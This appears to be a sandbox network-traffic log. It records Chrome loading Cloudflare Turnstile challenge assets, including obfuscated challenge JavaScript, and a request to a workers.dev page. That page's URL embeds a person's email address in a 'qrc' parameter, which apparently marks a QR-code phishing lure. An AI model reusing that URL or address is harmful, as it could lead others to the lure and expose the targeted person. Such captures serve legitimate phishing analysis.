2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 76 69 73 Data Ascii: #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:hover,.theme-dark #fr-helper-loop-link:focus { color: #949494;}.theme-dark #timeout-refresh-link,.theme-dark #expired-refresh-link { color: #bbb;}.theme-dark #timeout-refresh-link:vis
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 36 36 33 37 39 3b 0a 7d 0a 0a 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 36 70 78 3b 0a 7d 0a 0a 2e 66 61 69 6c 75 72 65 2d 63 69 72 63 6c 65 20 7b 0a 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 20 31 36 36 3b 0a 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 31 36 36 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 32 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 63 34 34 64 30 65 3b 0a 20 20 66 69 6c 6c 3a 20 6e 6f 6e 65 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 Data Ascii: enge-error-text a:focus { color: #166379;}#logo { margin-bottom: 1px; height: 26px;}.failure-circle { stroke-dasharray: 166; stroke-dashoffset: 166; stroke-width: 2; stroke-miterlimit: 10; stroke: #c44d0e; fill: none; animation:
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 30 20 34 70 78 20 34 70 78 20 30 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 32 30 70 78 3b 0a 20 20 6c 65 66 74 3a 20 31 38 70 78 3b 0a 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 31 73 20 65 61 73 65 2d 69 6e 3b 0a 20 20 7a Data Ascii: transform: rotate(45deg) scale(1); border: solid #c44d0e; border-width: 0 4px 4px 0; border-radius: 0; width: 6px; height: 12px;}.ctp-checkbox-label .mark { position: absolute; top: 20px; left: 18px; transition: all 0.1s ease-in; z
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 71 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 66 61 69 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 76 69 73 69 62 69 6c Data Ascii: }.size-compact #qr { text-align: center;}.size-compact #challenge-error-title { margin-top: 3px; width: auto;}.size-compact #fail { display: flex; flex-flow: row nowrap; place-content: center space-evenly; align-items: center; visibil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49725	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:32 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:32 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:32 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 87a0706e3ebd138f-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:32 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49726	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:33 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=87a07069393b53b7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:33 UTC	358	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:33 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 87a070736d8cad6b-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:33 UTC	1011	IN	Data Raw: 31 39 31 33 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 47 2c 66 4a 2c 66 4b 2c 67 61 2c 67 62 2c 67 66 2c 67 67 2c 67 6e 2c 67 75 2c 67 79 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 74 2c 68 75 2c Data Ascii: 1913window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fG,fJ,fK,ga,gb,gf,gg,gn,gu,gy,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,ht,hu,
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 58 70 73 62 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 53 62 53 65 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 66 48 57 68 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 67 58 72 4e 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 7a 7a 43 48 76 27 3a 69 79 28 31 35 38 31 29 2c 27 63 48 7a 4f 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 53 63 45 63 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 77 55 66 4b 7a 27 3a 66 75 6e Data Ascii: ion(h,i){return h>i},'Xpsbf':function(h,i){return i==h},'SbSes':function(h,i){return i\|h},'fHWhr':function(h,i){return h-i},'gXrNA':function(h,i){return i==h},'zzCHv':iy(1581),'cHzOB':function(h,i){return h<i},'ScEcp':function(h,i){return i\|h},'wUfKz':fun
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 66 28 4f 62 6a 65 63 74 5b 69 42 28 32 35 37 38 29 5d 5b 69 42 28 32 30 38 36 29 5d 5b 69 42 28 33 36 33 29 5d 28 45 2c 46 29 29 7b 69 66 28 64 5b 69 42 28 33 30 30 33 29 5d 28 32 35 36 2c 46 5b 69 42 28 32 33 34 33 29 5d 28 30 29 29 29 7b 66 6f 72 28 43 3d 30 3b 64 5b 69 42 28 36 32 39 29 5d 28 43 2c 49 29 3b 4b 3c 3c 3d 31 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 69 42 28 32 37 36 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 69 42 28 32 33 34 33 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 64 5b 69 42 28 32 31 39 32 29 5d 28 4b 2c 31 29 7c 64 5b 69 42 28 33 30 31 30 29 5d 28 50 2c 31 29 2c 4c 3d 3d 6f 2d 31 3f 28 4c 3d 30 2c 4a 5b 69 42 28 32 37 36 37 29 5d 28 64 5b 69 42 28 33 37 35 29 5d 28 73 Data Ascii: f(Object[iB(2578)][iB(2086)][iB(363)](E,F)){if(d[iB(3003)](256,F[iB(2343)](0))){for(C=0;d[iB(629)](C,I);K<<=1,o-1==L?(L=0,J[iB(2767)](s(K)),K=0):L++,C++);for(P=F[iB(2343)](0),C=0;8>C;K=d[iB(2192)](K,1)\|d[iB(3010)](P,1),L==o-1?(L=0,J[iB(2767)](d[iB(375)](s
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 69 42 28 32 33 34 33 29 5d 28 30 29 2c 43 3d 30 3b 64 5b 69 42 28 33 30 30 33 29 5d 28 31 36 2c 43 29 3b 4b 3d 4b 3c 3c 31 7c 64 5b 69 42 28 33 30 31 30 29 5d 28 50 2c 31 29 2c 4c 3d 3d 64 5b 69 42 28 33 30 31 38 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 69 42 28 32 37 36 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 30 3d 3d 47 26 26 28 47 3d 4d 61 74 68 5b 69 42 28 32 35 33 31 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 64 65 6c 65 74 65 20 45 5b 46 5d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 44 5b 46 5d 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 69 42 28 32 31 39 32 29 5d 28 4b 2c 31 29 7c 31 2e 33 33 26 50 Data Ascii: (s,K)),K=0):L++,P=0,C++);for(P=F[iB(2343)](0),C=0;d[iB(3003)](16,C);K=K<<1\|d[iB(3010)](P,1),L==d[iB(3018)](o,1)?(L=0,J[iB(2767)](s(K)),K=0):L++,P>>=1,C++);}G--,0==G&&(G=Math[iB(2531)](2,I),I++),delete E[F]}else for(P=D[F],C=0;C<I;K=d[iB(2192)](K,1)\|1.33&P
2024-04-25 18:36:33 UTC	1309	IN	Data Raw: 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 45 28 32 35 33 31 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4e 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 4f 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4f 2c 44 5b 69 45 28 32 37 36 37 29 5d 28 4f 29 3b 3b 29 69 66 28 64 5b 69 45 28 31 38 38 36 29 5d 28 69 45 28 33 35 31 29 2c 64 5b 69 45 28 38 33 34 29 5d 29 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 45 28 32 35 33 31 29 5d 28 32 2c 43 29 2c Data Ascii: =e(J);break;case 1:for(J=0,K=Math[iE(2531)](2,16),F=1;F!=K;N=G&H,H>>=1,H==0&&(H=j,G=o(I++)),J\|=F*(0<N?1:0),F<<=1);O=e(J);break;case 2:return''}for(E=s[3]=O,D[iE(2767)](O);;)if(d[iE(1886)](iE(351),d[iE(834)])){if(I>i)return'';for(J=0,K=Math[iE(2531)](2,C),
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 35 34 36 30 0d 0a 3d 7b 7d 2c 67 5b 69 79 28 32 30 39 32 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 66 48 3d 5b 5d 2c 66 49 3d 30 3b 32 35 36 3e 66 49 3b 66 48 5b 66 49 5d 3d 53 74 72 69 6e 67 5b 69 78 28 32 35 36 38 29 5d 28 66 49 29 2c 66 49 2b 2b 29 3b 66 4a 3d 28 30 2c 65 76 61 6c 29 28 69 78 28 32 33 35 38 29 29 2c 66 4b 3d 61 74 6f 62 28 69 78 28 31 39 30 38 29 29 2c 67 61 3d 7b 7d 2c 67 61 5b 69 78 28 33 30 31 32 29 5d 3d 27 6f 27 2c 67 61 5b 69 78 28 32 32 38 34 29 5d 3d 27 73 27 2c 67 61 5b 69 78 28 31 31 38 39 29 5d 3d 27 75 27 2c 67 61 5b 69 78 28 31 39 36 31 29 5d 3d 27 7a 27 2c 67 61 5b 69 78 28 32 34 31 31 29 5d 3d 27 6e 27 2c 67 61 5b 69 78 28 33 30 35 34 29 5d 3d 27 49 27 2c 67 62 3d 67 61 2c 66 45 5b 69 78 28 35 33 39 29 5d 3d 66 75 6e 63 74 69 Data Ascii: 5460={},g[iy(2092)]=f.h,g}(),fH=[],fI=0;256>fI;fH[fI]=String[ix(2568)](fI),fI++);fJ=(0,eval)(ix(2358)),fK=atob(ix(1908)),ga={},ga[ix(3012)]='o',ga[ix(2284)]='s',ga[ix(1189)]='u',ga[ix(1961)]='z',ga[ix(2411)]='n',ga[ix(3054)]='I',gb=ga,fE[ix(539)]=functi
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3c 76 7d 2c 6a 5b 6a 6e 28 31 35 31 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 76 3d 3d 3d 73 7d 2c 6a 5b 6a 6e 28 31 30 31 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3d 3d 3d 76 7d 2c 6a 5b 6a 6e 28 31 34 31 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 6a 6e 28 32 38 37 39 29 5d 28 69 29 2c 6d 3d 30 3b 6b 5b 6a 6e 28 31 31 38 32 29 5d 28 6d 2c 6c 5b 6a 6e 28 31 38 31 33 29 5d 29 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 6b 5b 6a 6e 28 31 35 31 33 29 5d 28 27 66 27 2c 6e 29 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 6a Data Ascii: ion(s,v){return s<v},j[jn(1513)]=function(s,v){return v===s},j[jn(1015)]=function(s,v){return s===v},j[jn(1415)]=function(s,v){return s+v},k=j,l=Object[jn(2879)](i),m=0;k[jn(1182)](m,l[jn(1813)]);m++)if(n=l[m],k[jn(1513)]('f',n)&&(n='N'),h[n]){for(o=0;k[j
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 64 2c 66 3d 31 2c 67 3d 65 5b 6b 6a 28 37 37 31 29 5d 28 31 65 33 2c 66 45 5b 6b 6a 28 32 38 37 37 29 5d 5b 6b 6a 28 32 32 31 36 29 5d 28 32 2e 36 35 3c 3c 66 2c 33 32 29 29 2c 66 45 5b 6b 6a 28 32 38 30 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6b 6b 29 7b 6b 6b 3d 6b 6a 2c 66 45 5b 6b 6b 28 38 39 34 29 5d 26 26 28 66 45 5b 6b 6b 28 32 32 32 31 29 5d 5b 6b 6b 28 32 32 30 33 29 5d 28 29 2c 66 45 5b 6b 6b 28 32 32 32 31 29 5d 5b 6b 6b 28 31 35 37 31 29 5d 28 29 2c 66 45 5b 6b 6b 28 32 37 30 33 29 5d 3d 21 21 5b 5d 2c 66 45 5b 65 5b 6b 6b 28 32 32 34 32 29 5d 5d 5b 6b 6b 28 37 35 34 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 6b 6b 28 31 32 37 33 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 66 45 5b 6b 6b 28 31 33 32 33 29 5d 5b 6b 6b 28 36 32 36 29 5d 2c 27 65 Data Ascii: d,f=1,g=e[kj(771)](1e3,fE[kj(2877)][kj(2216)](2.65<<f,32)),fE[kj(2808)](function(kk){kk=kj,fE[kk(894)]&&(fE[kk(2221)][kk(2203)](),fE[kk(2221)][kk(1571)](),fE[kk(2703)]=!![],fE[e[kk(2242)]][kk(754)]({'source':e[kk(1273)],'widgetId':fE[kk(1323)][kk(626)],'e
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 35 29 2b 66 2c 6a 5b 6b 6d 28 33 35 34 29 5d 28 6b 6d 28 32 38 33 33 29 2c 67 29 2c 6b 6d 28 31 34 38 33 29 2b 4a 53 4f 4e 5b 6b 6d 28 31 31 32 34 29 5d 28 68 29 5d 5b 6b 6d 28 32 34 31 37 29 5d 28 6b 6d 28 39 38 32 29 29 2c 66 45 5b 6b 6d 28 32 38 30 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6b 6f 29 7b 6b 6f 3d 6b 6d 2c 66 45 5b 6b 6f 28 31 33 34 33 29 5d 28 6d 2c 75 6e 64 65 66 69 6e 65 64 2c 6b 6f 28 32 33 30 33 29 29 7d 2c 31 30 29 2c 66 45 5b 6b 6d 28 32 38 30 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6b 70 29 7b 6b 70 3d 6b 6d 2c 66 45 5b 6b 70 28 32 39 37 38 29 5d 28 29 7d 2c 31 65 33 29 2c 66 45 5b 6b 6d 28 31 34 38 30 29 5d 5b 6b 6d 28 36 35 37 29 5d 28 6a 5b 6b 6d 28 35 36 35 29 5d 2c 6d 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 2c 67 79 3d 7b 7d 2c 67 Data Ascii: 5)+f,j[km(354)](km(2833),g),km(1483)+JSON[km(1124)](h)][km(2417)](km(982)),fE[km(2808)](function(ko){ko=km,fE[ko(1343)](m,undefined,ko(2303))},10),fE[km(2808)](function(kp){kp=km,fE[kp(2978)]()},1e3),fE[km(1480)][km(657)](j[km(565)],m));return![]},gy={},g
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 29 5d 3d 69 78 28 39 30 32 29 2c 67 42 5b 69 78 28 33 31 36 34 29 5d 3d 69 78 28 36 30 39 29 2c 67 42 5b 69 78 28 31 34 35 30 29 5d 3d 69 78 28 32 34 33 33 29 2c 67 42 5b 69 78 28 31 36 33 38 29 5d 3d 69 78 28 32 38 33 37 29 2c 67 42 5b 69 78 28 31 38 34 31 29 5d 3d 69 78 28 38 39 33 29 2c 67 42 5b 69 78 28 33 30 34 39 29 5d 3d 69 78 28 31 31 38 38 29 2c 67 42 5b 69 78 28 32 36 35 35 29 5d 3d 69 78 28 31 38 30 38 29 2c 67 42 5b 69 78 28 34 33 35 29 5d 3d 69 78 28 34 37 30 29 2c 67 42 5b 69 78 28 39 30 33 29 5d 3d 69 78 28 32 31 34 30 29 2c 67 42 5b 69 78 28 33 32 30 37 29 5d 3d 69 78 28 32 35 35 38 29 2c 67 42 5b 69 78 28 31 37 35 33 29 5d 3d 69 78 28 32 39 36 34 29 2c 67 42 5b 69 78 28 31 33 31 30 29 5d 3d 69 78 28 31 38 32 30 29 2c 67 42 5b 69 78 28 31 Data Ascii: )]=ix(902),gB[ix(3164)]=ix(609),gB[ix(1450)]=ix(2433),gB[ix(1638)]=ix(2837),gB[ix(1841)]=ix(893),gB[ix(3049)]=ix(1188),gB[ix(2655)]=ix(1808),gB[ix(435)]=ix(470),gB[ix(903)]=ix(2140),gB[ix(3207)]=ix(2558),gB[ix(1753)]=ix(2964),gB[ix(1310)]=ix(1820),gB[ix(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49727	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:33 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:33 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:33 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 87a0707689ad4582-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:33 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49719	172.67.154.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:33 UTC	671	OUT	GET /favicon.ico HTTP/1.1 Host: e76abede.df1076c6f7230d3c23de9bcb.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com& Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:33 UTC	583	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:33 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 3255 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klZk6%2F3fyU3aWni2cgy6arWk1zUjfOJtkrHMIaxi%2B0yXMiRW6PwaG0P1BJ99WONxBJnkzv9TwFPbvzcsGcUyoSSY4xtXYju7fM3m8arNBurTkN7nkrY%2B7l8lPti0sjjj3kjQ4gMg%2BiSOV5mLYHDxmkeWtgtuJFoigS6RnmKv8uU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a070772ee96779-ATL alt-svc: h3=":443"; ma=86400
